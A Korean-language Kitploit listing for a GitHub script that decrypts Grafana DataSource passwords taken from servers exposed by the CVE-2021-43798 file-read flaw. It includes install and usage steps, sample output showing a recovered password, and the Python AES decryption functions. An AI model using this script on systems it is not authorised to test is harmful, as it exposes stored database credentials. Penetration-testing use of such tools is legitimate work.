Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Grafana-Decryptor-for-CVE-2021-43798 — CVE-2021-43798용 Grafana 복호화기 | Kitploit
도구/GitHubGitHub/sic4rio/grafana-decryptor-for-cve-2021-43798
Password CrackingEncryption/Decryption ToolsVulnerability AnalysisExploitationWeb SecurityPenetration Testing
GitHubsic4rio/grafana-decryptor-for-cve-2021-43798

Grafana-Decryptor-for-CVE-2021-43798

CVE-2021-43798용 Grafana 복호화기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
851년 전아직 검토되지 않음

CVE-2021-43798용 Grafana 복호화기

이 스크립트는 무단 임의 파일 읽기를 허용하는 CVE-2021-43798에 취약한 Grafana 인스턴스에서 DataSource 비밀번호를 복호화합니다.

설명

Grafana 버전 8.0.0-beta1부터 8.3.0까지는 무단 사용자가 서버의 임의 파일을 읽을 수 있게 하는 디렉터리 트래버설 취약점에 노출되어 있습니다. 이 스크립트는 이 취약점을 악용하여 grafana.ini 구성 파일에서 찾은 secret_key를 사용해 grafana.db 파일에서 발견된 DataSource 비밀번호를 복호화합니다.

요구 사항

  • Python 3.6+
  • 다음 Python 라이브러리:
    • requests
    • questionary
    • termcolor
    • cryptography

설치

  1. 저장소를 클론하거나 스크립트를 다운로드합니다.
  2. 필요한 Python 라이브러리를 설치합니다:
    root@kitploit:~
    pip install requests questionary termcolor cryptography
    

사용 방법

  1. 대상 Grafana 인스턴스에서 grafana.db 및 grafana.ini 파일을 확보했는지 확인합니다.
  2. 스크립트를 실행하여 DataSource 비밀번호를 복호화합니다.

예: DataSource 비밀번호 가져오기

root@kitploit:~
python decrypt.py

예: 일반 텍스트 비밀번호 암호화

스크립트에서 예제 코드의 주석을 해제하면 일반 텍스트 비밀번호를 암호화할 수도 있습니다.

스크립트 세부 정보

암호화 알고리즘 유도

스크립트는 페이로드를 분석하여 사용된 암호화 알고리즘을 결정합니다. 기본 암호화 알고리즘은 aes-cfb입니다.

비밀번호 복호화

유도된 암호화 알고리즘과 grafana.ini의 secret_key를 사용하여 스크립트가 DataSource 비밀번호를 복호화합니다.

비밀번호 암호화

스크립트는 동일한 암호화 방식과 secret_key를 사용하여 일반 텍스트 비밀번호를 암호화하는 기능도 포함합니다.

출력 예시

root@kitploit:~
######################################
         GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
            SICARI0
######################################

? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==

[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd

복호화 및 암호화 함수

root@kitploit:~
def decrypt_gcm(block, payload):
    gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
    return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()

def decrypt_cfb(block, payload):
    if len(payload) < 16:
        raise ValueError("Payload too short")
    
    iv = payload[SALT_LENGTH:SALT_LENGTH+16]
    payload = payload[SALT_LENGTH+16:]
    decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
    return decryptor.update(payload) + decryptor.finalize()

def encryption_key_to_bytes(secret, salt):
    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=10000,
        backend=default_backend()
    )
    return kdf.derive(secret.encode())

def decrypt(payload, secret):
    alg, payload = derive_encryption_algorithm(payload)
    
    if len(payload) < SALT_LENGTH:
        raise ValueError("Unable to compute salt")
    
    salt = payload[:SALT_LENGTH]
    key = encryption_key_to_bytes(secret, salt)
    
    block = algorithms.AES(key)
    
    if alg == AES_GCM:
        return decrypt_gcm(key, payload)
    else:
        return decrypt_cfb(key, payload)

def encrypt(payload, secret):
    salt = os.urandom(SALT_LENGTH)
    key = encryption_key_to_bytes(secret, salt)
    block = algorithms.AES(key)
    
    iv = os.urandom(16)
    encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
    encrypted = encryptor.update(payload) + encryptor.finalize()
    
    return salt + iv + encrypted

이 함수들은 복호화 및 암호화 프로세스를 처리합니다.

기여

버그를 발견하거나 개선 제안이 있으면 이슈를 열거나 풀 리퀘스트를 자유롭게 제출해 주세요.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드